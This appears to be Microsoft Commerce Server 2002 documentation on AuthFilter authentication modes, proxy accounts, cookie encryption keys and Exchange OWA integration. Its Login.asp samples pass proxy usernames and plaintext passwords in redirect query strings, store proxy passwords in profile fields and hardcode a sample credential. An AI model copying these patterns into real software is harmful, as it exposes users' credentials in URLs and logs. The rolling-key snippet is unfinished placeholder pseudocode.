  • When implementing proxy accounts for your site, every user account (stored in SQL Server) must be mapped to a proxy account (stored in Active Directory).

The Active Directory domain controller must have the logon locally configured for domain users.

See Also

Post Method

Adding Properties to a Profile Definition

AuthFilter and DDoS Attacks

BDSecurity Object

AuthManager Object

Clear Text Passwords


Allowing Users to Switch Proxy Accounts

You can allow users visiting your site to re-authenticate in Active Directory using another proxy account.

For example, it is possible to seamlessly change the account the user is logged in as. When users first authenticate, the login page will select the correct proxy (Proxy1) account credentials to pass onto AuthFilter to use to pass to IIS to authenticate the user. Now, they want to view a directory that requires another proxy account's credentials (Proxy2), so they get redirected to the Login.asp because their current credentials do not allow access to the page. On the login page, the new credentials (Proxy2) are passed to AuthFilter, which passes the new credentials to IIS so that the user can log on using the new credentials.

To support this scenario, application-specific code must be implemented in a Login.asp to recognize that the user has already authenticated and to retrieve the credentials for Proxy2 and pass them along to the filter. Because the user already has a GUID property (which was added so that AuthFilter will do look-ups in its password cache based on the GUID and not the userid) in the MSCSAuth ticket, this GUID should be passed onto the filter instead of generating a new GUID. It is up to the application to map the user to the correct proxy account, the only thing the AuthFilter ensures is that if the user is denied access for a request the request is redirected to the Login.asp page.

See Also

Proxy Accounts


Using Proxy Accounts in a Web Farm

When the user gets bounced to another web server, even though it contains a valid MSCSAuth ticket, the credentials for the user are not in the AuthFilter password cache. Hence the request is redirected to the login page.

Similar to how Windows Authentication mode is performed in a Web farm scenario without proxy accounts, logic must be added here to allow a seamless logon. The difference here is since in the proxy account scenario, a GUID property is set on the ticket to allow the AuthFilter to do its password lookups based on the GUID instead of the userid, when the credentials are passed onto the filter via the query string, this GUID contained in the ticket (do not create a new GUID) must also be passed along in the query string.

For a code sample of Login.asp configured to use proxy accounts, see Code to Implement Proxy Accounts in a Web Farm Scenario.

See Also

Proxy Accounts

AuthFilter and DDoS Attacks

Configuring Login.asp to use a GUID


Code to Implement Proxy Accounts

The following example code is a snippet of the Login.asp file, which has been customized to support the use of proxy accounts.

' if the user has a valid authticket but was redirected here, it must mean that the request was bounced to a new server on the farm
' and the authfilter on this server does not have the credentials in its cache
if (objAuth.IsAuthenticated()) then
' retrieve the userid from the authticket
strUserID = objAuth.GetUserID(1)

' retrieve the profile for the user
Set objMSCSProfileService = Application("MSCSProfileService")
Set objMSCSProfileObj = objMSCSProfileService.GetProfile(strUserID, "UserObject")' GetUserProfileByLoginName(strUsername)
if (objMSCSProfileObj is nothing) then
' clear the authticket before redirecting back to login page because the profile for the user does
' not exist and will treat this as a new login request
objAuth.SetAuthTicket "", true, 90
Response.Redirect "Login.asp"
end if

' these are the new properties that were created to extend the user profile to contain the proxyuser and proxypassword values
proxyUser = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_user")
proxyPassword = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_password")

' set the user's userid in the authticket
objAuth.SetAuthTicket strUserID, True, 90

' appened the proxyuser and proxypassword the querystring to allow the authfilter to use these credentials
strRetAsp = Request.Cookies("MSCSFirstRequestedURL")
strRetAsp = strRetAsp + "&proxyuser="
strRetAsp = strRetAsp + proxyUser
strRetAsp = strRetAsp + "&proxypwd="
strRetAsp = strRetAsp + proxyPassword

' create a new guid to allow the authfilter to do lookups in its password cache based on the guid and not the userid in the ticket
Set objGenID =  Server.CreateObject("Commerce.GenID") '$PERF: store one in Application scope in GLOBAL.ASA, Application("MSCSAuthGenID")
strGUID = objGenID.GenGUIDString

' set the guid property in the authticket and append it to the querystring as well
objAuth.SetProperty 2, "guid", strGUID ' after setting Ticket
strRetAsp = strRetAsp + "&guid="
strRetAsp = strRetAsp + strGUID

Response.Redirect strRetAsp
end if

See Also

Enabling Proxy Accounts


Code to Implement Proxy Accounts in a Web Farm Scenario

The following example code is a snippet of the Login.asp file, which has been customized to support the use of proxy accounts in a Web farm scenario.

' if the user has a valid authticket but was redirected here, it must mean that the request was bounced to a new server on the farm
' and the authfilter on this server does not have the credentials in its cache
if (objAuth.IsAuthenticated()) then
' retrieve the userid from the authticket
strUserID = objAuth.GetUserID(1)

' retrieve the profile for the user
Set objMSCSProfileService = Application("MSCSProfileService")
Set objMSCSProfileObj = objMSCSProfileService.GetProfile(strUserID, "UserObject")' GetUserProfileByLoginName(strUsername)
if (objMSCSProfileObj is nothing) then
' clear the authticket before redirecting back to login page because the profile for the user does
' not exist and will treat this as a new login request
objAuth.SetAuthTicket "", true, 90
Response.Redirect "Login.asp"
end if

' these are the new properties that were created to extend the user profile to contain the proxyuser and proxypassword values
proxyUser = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_user")
proxyPassword = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_password")

' appened the proxyuser and proxypassword the querystring to allow the authfilter to use these credentials
strRetAsp = Request.Cookies("MSCSFirstRequestedURL")
strRetAsp = strRetAsp + "&proxyuser="
strRetAsp = strRetAsp + proxyUser
strRetAsp = strRetAsp + "&proxypwd="
strRetAsp = strRetAsp + proxyPassword

' retrieve the guid that is already in the authticket
strGUID = objAuth.GetProperty 1, "guid"
if len(strGUID) = 0 then
' if there isn't one, then create a new one
Set objGenID =  Server.CreateObject("Commerce.GenID")
strGUID = objGenID.GenGUIDString
objAuth.SetProperty 2, "guid", strGUID ' after setting Ticket
end if

' append the guid to the querystring as
strRetAsp = strRetAsp + "&guid="
strRetAsp = strRetAsp + strGUID

' redirect to the originally requested url
Response.Redirect strRetAsp
end if

See Also

Enabling Proxy Accounts

Using Proxy Accounts in a Web Farm


Custom Authentication Mode

When you use Custom Authentication, login access is required for every ASP page and directory in the Commerce Server site. AuthFilter checks against the virtual directory for the Commerce Server site, and it checks the Commerce Server Administration database to determine whether Custom Authentication is enabled for that site.

If the MSCSAuth ticket the user submitted is not valid when requesting access to an ASP page or directory, AuthFilter requires the user to enter login information. When a user submits credentials to the login page, the login page obtains verification of the credentials from a SQL Server database, or other type of database.

Note

  • Storing credentials in a database is inherently less secure than storing credentials in Active Directory. For better security for user credentials, it is recommended that you use Windows Authentication mode with Active Directory rather than Custom Authentication mode and a database.

After the user has been authenticated, the Login.asp page issues an MSCSAuth ticket. The MSCSAuth ticket is what is checked when the AuthFilter authenticates the request to determine whether or not to allow the request to be fulfilled.

In this mode, AuthFilter allows the site designer to provide a custom authentication process to control access to the site while still using the basic services of AuthFilter.

This section contains:

  • Processing User Requests in Custom Authentication Mode
  • Enabling Custom Authentication


Processing User Requests in Custom Authentication Mode

When you enable Custom Authentication, AuthFilter performs the following steps after being notified that an SF_NOTIFY_PREPROC_HEADERS event has occurred:

  1. It checks for site configuration properties in the local site cache and, if not found, reads the site configuration properties from the Administration database using a SiteConfig object and stores them in the site cache.
  2. It detects whether the requested URL is correct, and automatically corrects for case sensitivity in the URL.
  3. It checks for session-cookie support, and, if unavailable, redirects the user to the Active Server Pages (ASP) page specified in the No-Cookie form property in the CS Authentication resource. Usually this page notifies the user that cookies are required and that the user should resubmit the request once cookies are enabled.
  4. It checks whether the cookie contains an MSCSAuth ticket, and if it does not, it redirects the user to a login page.
  5. If the cookie contains an MSCSAuth ticket, it checks the current time against the last login time on the ticket to see if it is within the time window specified in the ticket.
  6. If the current time is past the time window specified in the ticket, the user is redirected to the login page as a non-validated user.
  7. If the current time is within the time window, the ticket is considered valid, and the user is sent to the requested page as a validated user. If the current time is within five minutes of the last login time plus the time window, the last login time on the ticket is changed to the current time so an active user can continue to browse.

See Also

Processing User Requests in Windows Authentication Mode

Enabling Custom Authentication

Authentication Features


Enabling Custom Authentication

If you need to implement Custom Authentication, you can still use AuthFilter to integrate it into your site. If you select Custom Authentication, AuthFilter checks for a valid MSCSAuth ticket. If the valid MSCSAuth ticket is not found, the user is redirected to a login page, where you can do your own Custom Authentication by validating credentials and setting MSCSAuth ticket upon success.

For example, you could use the Profiling System to retrieve access rights from the user profile when the user logs in. The Profiling System retrieves user information from a data source. This data source could be a Microsoft SQL Server database, the Windows 2000 Active Directory, or another OLE DB-compliant data source or a valid Lightweight Directory Access Protocol (LDAP) version 3 store.

To enable the Custom Authentication mode

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  3. In the Properties dialog box, on the General tab, in the Authentication filter box, select Custom Authentication, and then click OK.

AuthFilter redirects the user request to the Login.asp page, which validates the user login and password against a SQL Server database or other type of data store.

Note

  • After you change a property value in Commerce Server Manager, you must unload the application from memory on each Web server for the change to take effect. For instructions, see Unloading an Application from Memory.

See Also

Enabling Cookie Sharing across Domains

Enabling Cookie Sharing Across Applications

Enabling Windows Authentication

Enabling Autocookie Mode

BDSecurity Object

AuthManager Object


Autocookie Mode

You use Autocookie mode to track anonymous users between pages and across sessions. In Autocookie mode, a unique ID is generated to identify the user and, if required, a profile is created to store information about the user. For a code example showing these steps, see Code to Set a New MSCSProfile Ticket.

This section contains:

  • Processing User Requests in Autocookie Mode
  • Enabling Autocookie Mode


Processing User Requests in Autocookie Mode

When a user sends a request to access a site, AuthFilter ISAPI filter performs the following steps after being notified by Internet Information Services (IIS) that an SF_NOTIFY_PREPROC_HEADERS event has occurred:

  1. It checks for site configuration properties in the local site cache and, if not found, reads the site configuration properties from the Administration database using a SiteConfig object and stores them in the site cache.
  2. It checks whether the URL is correct, automatically correcting for case sensitivities.
  3. It checks for cookie support on the browser.
  4. If cookies are not supported, the user is redirected to the Active Server Pages (ASP) page specified in the No-Cookie form property of the CS Authentication resource. Usually this page notifies the user that cookies are required and that the user should resubmit the request once cookies are enabled. By default, an ASP page, named nocookie.asp, is supplied with Solution Sites for this purpose. This file is located in the AuthFiles folder in the Commerce Server installation directory.
  5. AuthFilter checks whether the request contains an MSCSProfile ticket.

    Note

    • In Autocookie mode, anonymous access is allowed, unless you specify autocookie mode with Windows authentication. If you specify the latter , then AuthFilter checks the cookie for a valid MSCSAuth ticket.
  6. If an MSCSProfile ticket exists in the cookie, AuthFilter uses the anonymous user account to impersonate the user in IIS. By default, the anonymous user account is IUSR_<computername>, where <computername> is the name of the computer where IIS is installed.
  7. If the requested URL allows anonymous access rights, the URL is returned.
  8. If an MSCSProfile ticket does not exist in the request, the user is redirected to the ASP page specified in the AutoCookie Form property of the CS Authentication resource.

AutoCookie Page

The eight steps listed in Processing User Requests in Autocookie Mode are transparent to the site developer. The following steps take place on the Autocookie page, which must be supplied by the site developer:

  1. Persistent cookie support is checked, and if it is unavailable, the user is redirected to the no-cookie page.
  2. If persistent cookie support is enabled, a globally unique identifier (GUID) or another unique ID is created to identify the user.
  3. The unique ID is set into an MSCSProfile ticket for the user.
  4. At this point a profile can be created to store information about the anonymous user.
  5. The user is redirected to the requested URL.

A default page, Autocookie.asp, showing much of this functionality is supplied with the installed product and located in the \Microsoft Commerce Server\AuthFiles folder.

See Also

Enabling Autocookie Mode

Enabling Cookie Sharing across Domains

Enabling Cookie Sharing Across Applications


Enabling Autocookie Mode

When you enable the Autocookie mode, AuthFilter always checks to see whether the browser has this anonymous cookie. If the anonymous cookie is not in the browser, then the filter redirects the user to the AutoCookie Form.

Autocookie mode enables Commerce Server 2002 to track anonymous users. If users with anonymous cookies register, Commerce Server can update their persistent cookies, and all the profile data gathered while users are anonymous is not lost. However, whether Commerce Server updates the persistent cookies depends on how you have developed your application.

To enable the Autocookie mode

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  3. In the Properties dialog box, on the General tab, select Autocookie, and then click OK.

Note

  • After you change a property value in Commerce Server Manager, you must unload the application from memory on each Web server for the change to take effect. For instructions, see Unloading an Application from Memory.

See Also

Enabling Windows Authentication

Enabling Custom Authentication

Enabling Cookie Sharing across Domains

Enabling Cookie Sharing Across Applications

BDSecurity Object

AuthManager Object


Windows Authentication with Autocookie Mode

This topic describes the mixed authentication mode of Windows Authentication with Autocookie. This mode accepts both anonymous and registered users and allows tracking of both types. This mode is useful for sites where part of the content is available to everyone and the rest is available only to registered users.

The primary differences between mixed mode and Windows Authentication mode are as follows:

  • The mixed mode allows tracking of anonymous users.
  • In mixed mode, an anonymous user must have a valid MSCSProfile ticket to access any URLs regardless of the Access Control List (ACL) settings. In Windows Authentication mode, an anonymous user does not need a ticket and can access any URL with anonymous access rights.

To enable Windows Authentication with Autocookie mode

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  3. In the Properties dialog box, on the General tab, select Autocookie.
  4. In the Properties dialog box, on the General tab, in the Authentication filter box, select Windows Authentication, and then click OK.

See Also

Custom Authentication with Autocookie Mode

Tickets for Anonymous Users Who Register


Custom Authentication with Autocookie Mode

When you use Custom Authentication and Autocookie mode together, both registered and anonymous users can access the site, and you can track anonymous users through persistent cookies. Instead of controlling access through Windows access control lists (ACLs), you can supply a custom authentication process.

To enable Custom Authentication with Autocookie mode

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  3. In the Properties dialog box, on the General tab, select Autocookie.
  4. In the Properties dialog box, on the General tab, in the Authentication filter box, select Custom Authentication, and then click OK.

Note

  • On the login page, provide a link to a separate virtual directory root that is not under the current virtual directory root. Keep all of the anonymous access content under this separate virtual directory root.

See Also

Windows Authentication with Autocookie Mode

Tickets for Anonymous Users Who Register


Configuring the CS Authentication Resource

You can view and edit CS Authentication properties for the global CS Authentication resource.

Notes

  • Many authentication properties are set at the site level. For information about configuring site level authentication properties, see Configuring an Application.
  • The following authentication properties are set in the App Default Config resource: Site ticket options, Site privacy options, Form login options, and AuthManager Auth Ticket Timeout. These properties apply if you are developing a site using the Commerce Server Solution Sites. For information about configuring these App Default Config properties, see Configuring the App Default Config Resource.

To configure the CS Authentication resource properties

  1. Expand Commerce Server Manager, and then click Global Resources.
  2. In the right-hand pane, right-click CS Authentication(sitename) resource, where (sitename) is the name of the site you are configuring, and then click Properties.

    The CS Authentication(sitename) Properties dialog box appears.

  3. In the Properties box, select the property for which you want to set a value.
  4. In the Selected Property Value box, type the new value, and then click OK.

The following table lists the CS Authentication properties you can set at the global resource level for a Commerce Server site.

Property | Description
Login Form The name of the form to be used for logging on users. You can specify one of the following:
  • The relative path to the Login.asp page. Uses http://<servername> and AuthFilter Helper Folder.
  • The full path to the Login.asp page.

If you use Secure Sockets Layer (SSL), you must specify the full path to the Login.asp page, for example:

https://www.microsoft.com/authfilter/login.asp.
Login Retries The number of times users are prompted to type their user name and password before a message instructing them to call customer service is displayed.

This property applies only when you are using Windows Authentication.
Password-Cache Size | The maximum number of users whose credentials can be stored in AuthFilter User-Password-Cache. This property is used only with Windows Authentication mode.
Password-Cache TTL | The length of time in minutes that the authentication credentials are stored in the Password-Cache. This property is used only with Windows Authentication mode.
AuthProfile-Name | The name of the profile object to use when the data source for the Profiling system is partitioned. If you are using default schema, this value must be Profile Definitions.UserObject.
AuthFilter Helper Folder | The name of the folder that AuthFilter uses to store helper files. You must keep all files related to AuthFilter in this one folder. The default subfolder is \AuthFiles. All AuthFilter files must have Anonymous Access enabled.
Error Form The name of the form to be used when an access denied error occurs. You can specify one of the following:
  • The relative path to the form. Uses http://<servername> and AuthFilter Helper Folder.
  • The full path to the form.
Help Form The name of the form that contains help information for logging in. You can specify one of the following:
  • The relative path to the form. Uses http://<servername> and AuthFilter Helper Folder.
  • Full path to the form.
Internal Error Form The name of the error form to display when there is an internal error. You can specify one of the following:
  • The relative path to the form. Uses http://<servername> and AuthFilter Helper Folder.
  • The full path to the form.
No-Cookie form The name of the form to display when the browser does not have cookies enabled or does not support cookies. You can specify one of the following:
  • The relative path to the form. Uses http://<servername> and AuthFilter Helper Folder.
  • The full path to the form.
AutoCookie Form The name of the form to be redirected to when Autocookies are enabled. You can specify one of the following:
  • The relative path to the form. Uses http://<servername> and AuthFilter Helper Folder.
  • The full path to the form.
Profile Cookie Expiration Date | The end date after which the cookie is no longer valid.
Enable Encryption | To enable encryption of cookie data, set this property at the Commerce site level. For instructions, see Configuring an Application.
Encryption Key for Cookie Data | The encryption key used for encrypting or decrypting cookie data. To generate a new encryption key, see Generating a New Cookie Encryption Key.

Notes

  • You must keep all files related to AuthFilter in one folder, specified in Auth Filter Helper Folder property. The default subfolder is \AuthFiles. All AuthFilter files must have Anonymous Access enabled.
  • After you change a global CS Authentication property, and if you are using AuthFilter, you must restart Internet Information Services (IIS) 5.0 by using the net stop and net start commands. For instructions, see Restarting IIS and Commerce Server Services.

See Also

Configuring the App Default Config Resource

BDSecurity Object

AuthManager Object


Exchange 2000 Outlook Web Access Basic Authentication

Outlook Web Access (OWA) is a hypertext Transfer Protocol (HTTP) virtual server that enables users to access their Microsoft Exchange inbox using a Web browser. You install and configure OWA during the Microsoft Exchange Server 2000 installation process. By default, the Exchange Server setup process installs the OWA application to a virtual directory named "Exchange" in the default Web Site. For more information about OWA, see the Microsoft Exchange Server 2000 and Internet Information Services documentation.

You can use the authentication functionality of the Commerce Server 2002 AuthFilter to protect your OWA application. To accomplish this, you must install OWA and your Commerce Server Solution Site on the same Internet Information Services (IIS) Server. Because AuthFilter protects at the virtual root level, you must install your Commerce Server Solution Site one level above the Exchange 2000 OWA application. This allows AuthFilter to intercept requests for the Exchange OWA application, and therefore protects both the OWA application and the Commerce Server site.

To unpack your Commerce Server site to the default Web site level

To set AuthFilter Windows Authentication

To unpack your Commerce Server site to the default Web site level

The following instructions describe how to unpack your site to the virtual root level of the Default Web Site. By default, the quick unpack option of Site Packager installs a Commerce Site to a directory one level below the Default Web Site. Therefore, you must use the custom unpack option of Site Packager to unpack your Commerce Server site to the Default Web site level (one level above the OWA application). For more information about using the custom unpack option of Site Packager, see Unpacking a Site Using Custom Properties.

The following instructions specify the default settings except when a specific step is required to configure OWA for integration with Commerce Server.

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Welcome to the Commerce Server Site Packager dialog box, select Unpack from a package file (.pup), and then click Next.
  3. In the Unpack dialog box, type the path and file name of the file you want to unpack, or click the Browse button.

    If you clicked the Browse button, in the Open dialog box, navigate to the folder that contains the file you want to unpack, select the file, and then click Open.

  4. In the Unpack dialog box, select Custom unpack, and then click Next.
  5. In the Unpack Method dialog box, select Create a new site, and then click Next.
  6. In the Site Name dialog box, type the name for the new site or accept the default value, and then click Next.
  7. In the Select Resources dialog box, click Next.
  8. In the Global Resource Pointers dialog box, click Next.
  9. In the Database Connection Strings dialog box, click Next.
  10. In the Select Applications dialog box, click Next.
  11. In the Select IIS Computers, Web Sites and Paths dialog box, delete the text in the IIS path text box, and then click Next.

    Note

    • To unpack the Commerce site to the virtual root directory level of the Default Web site, this text box must be empty.
  12. Two message boxes appear. Read the messages and then click Yes.
  13. If the Data Warehouse dialog box appears, click OK.
  14. In the Profiling System dialog box, click Next.
  15. In the second Profiling System dialog box, click Next.
  16. In the Commerce Server Site Packager dialog box, click OK.
  17. In the Unpacking is complete! dialog box, click Finish.

To set AuthFilter Windows authentication

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Commerce Sites, and then expand the Commerce site that you want to configure.

    Note

    • For example, by default, the name of the Retail solution site is Retail.
  3. Expand Applications, right-click the application you are configuring, and then click Properties.
  4. In the <sitename> Properties screen, on the General tab, do the following:
    Use this | To do this
    Set cookie path to application | Clear this check box.
    Authentication filter | From this drop-down list, select Windows Authentication.
    IIS application path Ensure that this text box contains a forward slash (/) only.

    Note

    • Setting the IIS application path to a forward slash (/) configures AuthFilter for this application at the virtual root directory of the Default Web Site, which is one level higher than the virtual directory where the Exchange 2000 OWA application resides. By default, the Exchange 2000 OWA application installs in a virtual directory named "Exchange" in the Default Web Site.
  5. Click OK.
  6. Restart IIS. For information about restarting IIS, see Restarting IIS and Commerce Server Services.

    Important

    • If you use the net stop iisadmin command to stop the IIS service, and have already installed Microsoft Exchange Server 2000, you must restart the SMTP, NNTP, and Exchange services independently of the net start ww3svc command. This is because the net stop iisadmin command stops these services when stopping IIS, but the net start ww3svc command does not restart them.

    These services are listed in the following table:

    Service | To restart from the command line
    Microsoft Exchange Routing Engine | Type net start RESvc.
    Microsoft Exchange POP3 | Type net start POP3Svc.
    Microsoft Exchange IMAP4 | Type net start IMAP4Svc.
    Microsoft Exchange Information Store | Type net start MSExchangeIS.
    Microsoft Exchange MTA Stacks | Type net start MSExchangeMTA.
    World Wide Web Publishing Service | Type net start w3svc.
    Simple Mail Transport Protocol (SMTP) | Type net start SMTPSVC.
    Network News Transport Protocol (NNTP) | Type net start NntpSvc.
  7. To verify the setting for the virtual root of IIS site, in Commerce Server Manager, expand Internet Information Services, and then expand <server name>.
  8. Right-click Default Web Site, and then click Properties.
  9. On the Home Directory tab, verify that the IIS application path text box contains a forward slash (/) only.
  10. On the ISAPI Filters tab, ensure that CSAuthFilter is listed above the Microsoft Exchange Web Component ISAPI filter in the order list.
  11. Click OK.

Notes

  • OWA for Exchange Server 2000 secures access to a site by using the IIS Basic Authentication method. As part of this authentication method, an IIS server variable, AUTH_USER, is populated with the user name. OWA uses AUTH_USER to determine which Exchange 2000 mailbox to open for the session.
  • Because the IIS Basic Authentication method sends passwords over the network in clear text, it is recommended that you use a Secure Sockets Layer (SSL) connection between users and your login.asp page.

See Also

Enabling SSL on a Commerce Server Site

Enabling Windows Authentication

Unpacking a Site Using Custom Properties

Restarting IIS and Commerce Server Services


Setting the Security Mode on the Web Server

When you use Windows Authentication mode on any Commerce Server site, you must enable Domain Users to log on locally to your Web server. Perform the following procedure on all Web servers that are hosting a Commerce Server site using Windows Authentication mode.

To set the security mode on the Web server

  1. Click Start, point to Programs, point to Administrative Tools, and then click Local Security Policy.
  2. In the Local Security Settings screen, expand Security Settings, expand Local Policies, and then click User Rights Assignment.
  3. In the Policy pane, double-click Log on locally.
  4. In the Local Security Policy Setting dialog box, click Add.
  5. In the Select Users or Groups dialog box, select the domain from the Look in drop-down list.
  6. In the Name box, select Domain Users, and then click Add.
  7. To close the Select Users or Groups dialog box, click OK.
  8. To close the Local Security Policy Setting dialog box, click OK.
  9. Close the Local Security Settings screen.

You have now configured log on locally user rights for the Domain Users account.

See Also

Enabling AuthFilter for the Supplier Solution Site


Generating a New Cookie Encryption Key

The CS Authentication resource uses an encryption key for encrypting and decrypting cookie data. By default, when you unpack a site, the encryption key in the package is used. The encryption key is stored in the AuthSetup.ini file in the package. If no key exists, a new key is generated by Commerce Server Site Packager, using AuthManager.GenerateEncryptionKey().

Each time you unpack a site, a new encryption key is created. If you package your own encryption key with the CS Authentication resource, then you will have the same key every time you unpack that custom package. If you want a new or separate key each time you unpack that site, after you unpack the site you must use the Generate New Encryption Key button in Commerce Server Manager.

Do not change the encryption key while a site is active. If you update an encryption key while a site is active, existing MSCSAuth tickets are no longer valid and users must log on again. A ticket that is encrypted with one key can be decrypted only with the same key.

Commerce Server 2000 did not provide support for decryption of persistent cookies when encryption keys, which encrypt and decrypt tickets, are changed. Use the GetUserIDFromCookieAndKey method to decrypt tickets that were encrypted in Commerce Server 2000. You can customize your site to issue a new ticket while retaining the information from the old ticket.

Note
  • Before you update an existing encryption key, it is recommended that you store the existing encryption keys where they can be retrieved by your application. Commerce Server does not create a backup for you. It is recommended that you back up the key to a secure location; preferably to a location that cannot be accessed by users.

Your application can use these old encryption keys at a later time to decrypt tickets that were encrypted with the old key. The manner in which this is done is determined by the application. However, only the user ID can be obtained from an old ticket; all custom properties are lost.

To generate a new encryption key

Important
  • If your site is implemented in a Web farm scenario, review Rolling Key Encryption for Authentication Tickets before generating a new cookie encryption key.
  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the application you want to configure, and then click Properties.
  3. At the bottom of the dialog box, click Generate New Encryption Key.
  4. At the confirmation dialog box, click OK.
  5. Restart IIS.

    For information about restarting IIS, see Restarting IIS and Commerce Server Services.

See Also

AuthManager::GenerateEncryptionKey

AuthManager.GetUserIDFromCookie

Rolling Key Encryption for Authentication Tickets

Restarting IIS and Commerce Server Services


Rolling Key Encryption for Authentication Tickets

Use the rolling key encryption feature to change the encryption key, which is used to encrypt and decrypt authentication tickets for a site. You may want to change the encryption key for your site when an administrative level employee leaves, an external security compromise is detected, or periodically as a security policy.

Note

  • Before you update an existing encryption key, it is recommended that you store the existing encryption keys where they can be retrieved by your application. Commerce Server does not create a backup for you. It is recommended that you back up the key to a secure location, preferably to a location that cannot be accessed by users.

Your application can use these old encryption keys at a later time to decrypt tickets that were encrypted with the old key. The manner in which this is done is determined by the application. However, only the user ID can be obtained from an old ticket, all custom properties are lost.

When an encryption key for a site is changed, IIS must be restarted to allow AuthFilter to reinitialize itself with the new encryption key. For information about changing your encryption key, see Generating a New Cookie Encryption Key.

If you do not have a Web farm scenario, then no further steps are required. However, if you are changing the encryption key in a Web farm, follow the additional steps specified below.

Rolling Key Encryption in a Web Farm Scenario

When you change the encryption key in a Web farm scenario, you must restart IIS on each Web server. AuthFilter then reinitializes itself on each Web server with the new encryption key. However, while the servers are being reset, there is a possibility that a request containing a ticket that was encrypted using the old encryption key may be redirected to a server that has already reset, and is using the new encryption key. Hence, when a redirected request arrives at this server, AuthFilter, which is initialized with the new encryption key, is not able to decrypt the ticket in the request. The ticket in the redirected request was encrypted using the old encryption key. Because AuthFilter cannot decrypt the ticket in the request, AuthFilter redirects this request to the login page.

To avoid redirecting validated users to the login page, after the encryption key is changed, new code must be added to the Login.asp page that allows for the retrieval of the userid from the incoming ticket, encrypted using the old encryption key. The new code must then issue a new ticket to the user, which is encrypted with the new key.

You can use the GetUserIDFromCookieAndKey method of the AuthManager API, to add the necessary new code to your login page to support rolling key encryption in a Web farm scenario. The following is a snippet of the Login.asp page, which has been customized to support this scenario:

Dim sUserID

On Error Resume Next

sUserid = auth.GetUserid(enumMSCS_ProfileTicketType)

if (err.number = ...)  get the error codes for NTE_BAD_DATA ,  NTE_BAD_KEY  , NTE_BAD_HASH
{
Dim sCookie, sOldEncryptionKey
sOldEncryptionKey = ** retrieve this from whereever you save old encryption keys
sCookie = Request.Cookies("MSCSAuth")
sUserid = auth.GetUseridFromCookieAndKey(sCookie, sOldEncryptionKey)

if Not ((err.number = ...)  get the error codes for NTE_BAD_DATA ,  NTE_BAD_KEY  , NTE_BAD_HASH)
{
auth.SetAuthTicket(sUserID, bCookieSupport, nTimeWindow)
}
else
{
*** rediret to reforce a login.
}

*** note you can try more than one old key if you have saved more than one old encryption key
}

On Error Goto 0

Finally, before you change the encryption key, you must use the Web server log import DTS task to import your IIS logs into the Data Warehouse. If you do not import the data before changing the encryption key, then the Web server log import task will not be able to decrypt the tickets contained in the logs. This is because the Web server log import task attempts to decode the tickets in the log file using the current encryption key stored in the admin database.

Note

  • In conjunction with the sample code provided, the old encryption keys must be stored where they can be retrieved by your application. These old encryption keys can be used at a later time to decrypt tickets that were encrypted with the old key. The manner in which this is done is left up to the application. However, only the user ID can be obtained from an old ticket, all custom properties are lost.

See Also

Restarting IIS and Commerce Server Services


Configuring Login.asp to use a GUID

You may want to update your Login.asp page to add a custom property named guid, which holds a globally unique identifier (GUID) string on the ticket of a user to protect your site from Distributed Denial of Service (DDoS) attacks.

To place a GUID on the ticket of a user, you must update your login page, the Login.asp page for Solution Sites. Once a GUID is placed in the ticket, AuthFilter uses the GUID to lookup the password of the user in the AuthFilter password cache. The GUID is placed on the ticket of the user as a custom property by using the SetProperty method of the AuthManager object. Additionally, the property is appended to the query string for the redirected URL.

Once set, AuthFilter uses the GUID property to access the password cache instead of the user ID. When a user logs on with the same user ID but with a different password, AuthFilter identifies this as a different user and a new entry is made in the password cache instead of overwriting the original password. AuthFilter then follows the same steps as for a new user. For a code example showing this process, see Code to Set a Custom Property on a Ticket.

To view a sample Login.asp page, that has been updated to avoid this (DDoS) attack scenario, see Login.asp Code for the Supplier Solution Site.

In the example below, the code with the arrow next to it indicates the changes you need to make to the Login.asp file.

' after setting AuthTicket
     objAuth.SetAuthTicket strUserID, True, 90
  objAuth.SetProperty 2, "guid", strGUID   change this line

' at the redirect in both the FirstTime and WebFarm paths:
      strRetAsp = Request.Cookies("MSCSFirstRequestedURL")
      strRetAsp = strRetAsp + "proxyuser="
      strRetAsp = strRetAsp + "MyDomain\User1"
      strRetAsp = strRetAsp + "&proxypwd="
      strRetAsp = strRetAsp + "password"
   strRetAsp = strRetAsp + "&guid="  change this line
   strRetAsp = strRetAsp + strGUID   change this line

The strGUID variable is a GUID/UniqueID generated, for example, by the GUIDGen object. Note that the GUID must be a unique identifier.

See Also

Login.asp Code for the Supplier Solution Site

BDSecurity Object

AuthManager Object

Code to Set a Custom Property on a Ticket

Code to Generate a GUID

Using Proxy Accounts in a Web Farm

Adding a New Property to a Profile Definition


Integrating with Passport

Microsoft Passport delivers the following two services, either of which may be integrated into a Microsoft Commerce Server Web site. These services may be integrated separately, or they may both be integrated into the same site:

  • Passport Single Sign In. Passport offers an authentication service that allows Passport users to use a single user name and password for authenticated access to any Web site that employs Passport authentication.
  • Passport Express Purchase. Passport offers a wallet service that allows Passport users to store their credit card and address information with Passport, and then have that information made available to any Web site that employs the Passport wallet.

Customers benefit from Passport integration because they only have a single user name and password to remember, they can avoid entering credit card and address information for every electronic purchase they make, and their sensitive information is maintained in fewer locations. Furthermore, Web sites that want to use Passport are required to adhere to a standardized privacy policy.

Merchants benefit from Passport integration because the improved user experience should encourage more customers to join a Web site as registered users, and should result in fewer abandoned shopping carts. The standardized privacy policy should also result in your users displaying a greater willingness to share personal information.

This section discusses these two integration opportunities separately.

This section contains:

